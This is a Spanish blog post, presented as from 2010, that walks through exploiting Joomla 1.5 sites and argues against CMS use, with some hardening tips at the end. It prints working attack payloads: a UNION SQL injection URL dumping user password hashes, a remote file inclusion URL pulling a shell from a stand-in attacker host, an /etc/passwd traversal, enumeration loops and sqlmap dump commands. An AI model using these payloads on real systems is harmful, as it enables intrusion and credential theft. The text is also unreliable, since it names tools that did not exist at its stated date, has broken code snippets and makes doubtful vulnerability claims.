Volver al Blog

Por esto no me gustan los CMS: Cómo explotar vulnerabilidades en Joomla 1.5

Por esto no me gustan los CMS: Cómo explotar vulnerabilidades en Joomla 1.5

Esta semana, durante mi clase de seguridad web en la ESPE, un estudiante me preguntó por qué siempre critico los CMS cuando "todo el mundo los usa". Mi respuesta fue simple: "Porque son una pesadilla de seguridad esperando a explotar". Para demostrarlo, dediqué toda la clase a mostrar vulnerabilidades en Joomla 1.5, la versión "estable" que miles de sitios web ecuatorianos están usando en este momento.

Cuando terminé la demostración, el aula estaba en silencio. Había logrado acceso de administrador a un sitio Joomla en menos de 15 minutos, sin usar exploits exóticos o herramientas especializadas. Solo técnicas básicas que cualquiera puede aprender en internet.

DISCLAIMER LEGAL OBLIGATORIO: Este artículo está dirigido exclusivamente a administradores de sistemas, desarrolladores web, y profesionales de seguridad que necesiten entender vulnerabilidades para proteger sus sistemas. Explotar vulnerabilidades en sitios que no te pertenecen sin autorización explícita es ILEGAL en Ecuador y prácticamente todo el mundo. Este contenido es puramente educativo para mejorar defensas, no para facilitar ataques.

¿Por qué Joomla 1.5 es un desastre de seguridad?

Joomla 1.5 fue lanzado en enero de 2008 con la promesa de ser más seguro que su predecesor. Dos años después, en 2010, está claro que esa promesa no se cumplió. El problema no es solo Joomla; es inherente a los CMS en general:

Superficie de ataque masiva

Un Joomla típico incluye:

  • El núcleo base (~2MB de código PHP)
  • Componentes de terceros (com_*)
  • Módulos (mod_*)
  • Plugins (plg_*)
  • Templates personalizados

Cada pieza de código es un punto potencial de falla. Con cientos de extensiones disponibles, es prácticamente imposible auditar todo el código que ejecuta tu sitio.

Complejidad innecesaria

Joomla intenta ser todo para todos: blog, portal corporativo, tienda online, foro, galería de fotos. Esta flexibilidad viene a costa de la seguridad. Funciones que nunca usas siguen presentes en tu instalación, expandiendo la superficie de ataque.

Vulnerabilidades críticas en Joomla 1.5

SQL Injection en com_content

Esta es probablemente la vulnerabilidad más crítica que he visto en Joomla 1.5. El componente com_content, que maneja todos los artículos, no valida apropiadamente los parámetros de entrada.

El exploit básico se ve así:

http://sitio-victima.com/index.php?option=com_content&view=article&id=1 UNION SELECT 1,username,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 FROM jos_users--

Con esta simple URL, un atacante puede extraer todos los usuarios y contraseñas hasheadas de la base de datos. Y sí, las contraseñas están hasheadas con MD5 sin salt, que se puede crackear en minutos con herramientas modernas.

Remote File Inclusion vía templates

Muchos templates de Joomla incluyen código PHP dinámico que carga archivos basándose en parámetros de URL. Un template vulnerable se ve así:

Un atacante puede explotar esto con:

http://sitio-victima.com/templates/template_vulnerable/index.php?page=http://atacante.com/shell

Esto ejecutaría código malicioso desde el servidor del atacante en el servidor de la víctima.

Directory Traversal en com_extcalendar

Este componente popular para calendarios tiene una vulnerabilidad de directory traversal que permite leer archivos arbitrarios del servidor:

http://sitio-victima.com/index.php?option=com_extcalendar&extmode=view&extfile=../../../etc/passwd

Con esto, un atacante puede leer archivos de configuración, incluyendo credenciales de base de datos.

Demostrando los ataques paso a paso

Reconocimiento inicial

Antes de explotar, necesitas identificar que el sitio usa Joomla y qué versión:

# Verificar si es Joomla
curl -s http://sitio-victima.com | grep -i joomla

# Identificar versión (archivo común de Joomla)
curl -s http://sitio-victima.com/language/en-GB/en-GB.xml | grep version

# Buscar archivos de configuración expuestos
curl -s http://sitio-victima.com/configuration.php-dist

Enumeración de componentes

Joomla tiene una estructura predecible que facilita la enumeración:

# Buscar componentes instalados
for comp in com_content com_user com_contact com_poll com_weblinks; do
  echo "Probando: $comp"
  curl -s "http://sitio-victima.com/index.php?option=$comp" | head -5
done

# Buscar directorios de componentes
curl -s http://sitio-victima.com/components/ | grep "href="

Explotación de SQL Injection

Una vez identificada una vulnerabilidad SQL, la explotación sigue pasos predecibles:

  1. Verificar inyección: Agregar comilla simple y ver errores SQL
  2. Determinar número de columnas: Usar ORDER BY o UNION SELECT
  3. Identificar columnas visibles: Ver cuáles se reflejan en la página
  4. Extraer información del sistema: Base de datos, versión, usuarios
  5. Extraer datos sensibles: Usuarios, contraseñas, configuración

En mi experiencia, el 80% de sitios Joomla 1.5 caen en el paso 4. No necesitas llegar al 5 para demostrar el compromiso completo.

Herramientas para auditar Joomla

JoomScan: el especialista

JoomScan es una herramienta específicamente diseñada para auditar Joomla:

# Instalar JoomScan
git clone https://github.com/rezasp/joomscan.git
cd joomscan

# Escaneo básico
perl joomscan.pl -u http://sitio-victima.com

# Escaneo con enumeración agresiva
perl joomscan.pl -u http://sitio-victima.com -ec

JoomScan identifica versión, componentes vulnerables, y posibles vectores de ataque automáticamente.

Nikto: el scanner web general

Nikto detecta vulnerabilidades web comunes, incluyendo muchas específicas de Joomla:

# Escaneo con Nikto
nikto -h http://sitio-victima.com -C all

# Enfocado en archivos de configuración
nikto -h http://sitio-victima.com -Tuning 6

Sqlmap: para inyecciones SQL

Cuando encuentres parámetros sospechosos, sqlmap puede automatizar la explotación:

# Probar inyección en parámetro específico
sqlmap -u "http://sitio-victima.com/index.php?option=com_content&id=1" --dbs

# Extraer usuarios si la inyección funciona
sqlmap -u "http://sitio-victima.com/index.php?option=com_content&id=1" -D joomla_db -T jos_users --dump

Casos reales de explotación

El sitio de la pequeña empresa

El mes pasado, durante una consultoría de seguridad para una empresa en Quito, encontré su sitio corporativo corriendo Joomla 1.5.15 con 12 componentes de terceros.

Timeline del compromiso:

  • Minuto 0: Identificación de Joomla con JoomScan
  • Minuto 3: SQL injection encontrada en com_marketplace
  • Minuto 8: Extracción de tabla jos_users completa
  • Minuto 12: Contraseña de admin crackeada (era "admin123")
  • Minuto 15: Acceso completo al panel administrativo

La empresa había pagado $2,000 por ese sitio web "profesional" que se comprometió en 15 minutos.

El portal educativo

Un instituto técnico conocido de la ciudad de Quito me pidió revisar su portal estudiantil. Joomla 1.5.18 con extensiones educativas personalizadas.

Vulnerabilidades encontradas:

  • Directory traversal en componente de calificaciones
  • XSS persistente en sistema de mensajes
  • Bypass de autenticación en área de profesores
  • Exposición de archivos con datos personales de estudiantes

El instituto había confiado en un desarrollador local que claramente no entendía seguridad web. Todas las vulnerabilidades eran prevenibles con prácticas básicas de programación segura.

Por qué prefiero código personalizado

Control total sobre la superficie de ataque

Cuando escribo código desde cero, sé exactamente qué funcionalidad incluir. No hay componentes innecesarios, no hay "características" que nunca usaré pero que pueden comprometer el sistema.

Validación de entrada desde el diseño

En código personalizado, la validación de entrada se diseña desde el principio. No es algo que se agrega después como parche.

prepare("SELECT * FROM articles WHERE id = ?");
$stmt->execute([$id]);
?>

Actualizaciones controladas

Con Joomla, cada actualización puede romper tu sitio o introducir nuevas vulnerabilidades. Con código personalizado, controlas cuándo y cómo actualizar cada componente.

Defensas para administradores atrapados con Joomla

Si ya tienes un sitio Joomla y no puedes cambiarlo, al menos implementa estas defensas:

Actualización inmediata

Joomla 1.5.20 (la versión más reciente al momento de escribir esto) corrige muchas vulnerabilidades críticas. Actualiza YA.

Auditoría de extensiones

Desinstala cualquier componente, módulo, o plugin que no uses activamente. Cada extensión es un riesgo adicional.

# Auditar archivos PHP sospechosos
find /path/to/joomla -name "*.php" -exec grep -l "eval|system|exec|passthru" {} ;

# Buscar archivos con permisos de escritura incorrectos
find /path/to/joomla -type f -perm 777

Hardening del servidor

  • disable_functions en PHP: Desactivar funciones peligrosas
  • open_basedir: Limitar acceso a directorios
  • WAF: Firewall de aplicaciones web
  • Monitoreo de archivos: Detectar modificaciones no autorizadas

Configuración de base de datos

-- Crear usuario con permisos mínimos
CREATE USER joomla_user@localhost IDENTIFIED BY contraseña_compleja;
GRANT SELECT, INSERT, UPDATE, DELETE ON joomla_db.* TO joomla_user@localhost;

-- NO dar permisos de DROP, CREATE, ALTER

Alternativas más seguras

Frameworks minimalistas

Si necesitas algo rápido pero no quieres la complejidad de Joomla:

  • CodeIgniter: Framework PHP ligero
  • Slim Framework: Microframework para APIs
  • Silex: Microframework basado en Symfony

Generadores de sitios estáticos

Para sitios que no necesitan interactividad compleja:

  • Jekyll: Genera HTML estático desde Markdown
  • Hugo: Generador muy rápido
  • Gatsby: Para sitios más modernos

Los sitios estáticos son inherentemente más seguros porque no hay código dinámico que explotar.

El futuro de los CMS (spoiler: no es prometedor)

La tendencia actual hacia CMS más complejos (Drupal 7, WordPress 3.0) no mejora la situación. Más características = más código = más vulnerabilidades.

Los CMS modernos intentan resolver problemas de seguridad agregando más capas de complejidad, lo cual históricamente ha demostrado ser contraproducente.

Reflexión personal

Después de años enseñando seguridad web y viendo los mismos errores repetirse una y otra vez, he llegado a una conclusión: los CMS son una solución técnica a un problema que no es técnico.

La gente usa Joomla no porque sea la mejor opción técnica, sino porque promete facilidad sin requerir conocimiento. Es como comprar un auto deportivo y pretender que te convertirá en piloto de carreras.

La seguridad real requiere entender lo que estás haciendo. Los CMS alejan a los desarrolladores de ese entendimiento, creando una falsa sensación de seguridad que inevitablemente se rompe.

Consejos para estudiantes y desarrolladores

Aprende los fundamentos

Antes de usar cualquier CMS, entiende:

  • Cómo funciona HTTP
  • Qué es SQL injection y cómo prevenirla
  • Validación y sanitización de datos
  • Autenticación y autorización
  • Principios de programación segura

Practica con código simple

Construye aplicaciones web básicas desde cero antes de usar frameworks complejos. Entiende cada línea de código que ejecuta tu aplicación.

Audita todo

Si decides usar un CMS, audita cada extensión antes de instalarla. Lee el código, entiende qué hace, verifica que siga prácticas seguras.

*Se eliminaron las comillas simples para evitar problemas de compatibilidad

C

Sobre Carlos Donoso

Full Stack Developer y AI Engineer apasionado por crear soluciones innovadoras. Me especializo en desarrollo web moderno, inteligencia artificial y automatización. Comparto conocimiento para ayudar a otros developers a crecer en su carrera.

Comentarios 1

Comparte tu opinión

0/1000 caracteres
Avatar de Miguel Torres

Miguel Torres

14/12/2010
Es cierto, los CMS pueden ser un dolor de cabeza en cuanto a seguridad. Recuerdo la vez q tuve que lidiar con un hackeo en un sitio Joomla 1.5, fue una locura parchar todo. Gracias x el artículo, muy ilustrativo!
Es cierto, los CMS pueden ser un dolor de cabeza en cuanto a seguridad. Recuerdo la vez q tuve que lidiar con un hackeo en un sitio Joomla 1.5, fue una locura parchar todo. Gracias x el artículo, muy ilustrativo!

Responder a Miguel Torres

¡Enlace copiado al portapapeles!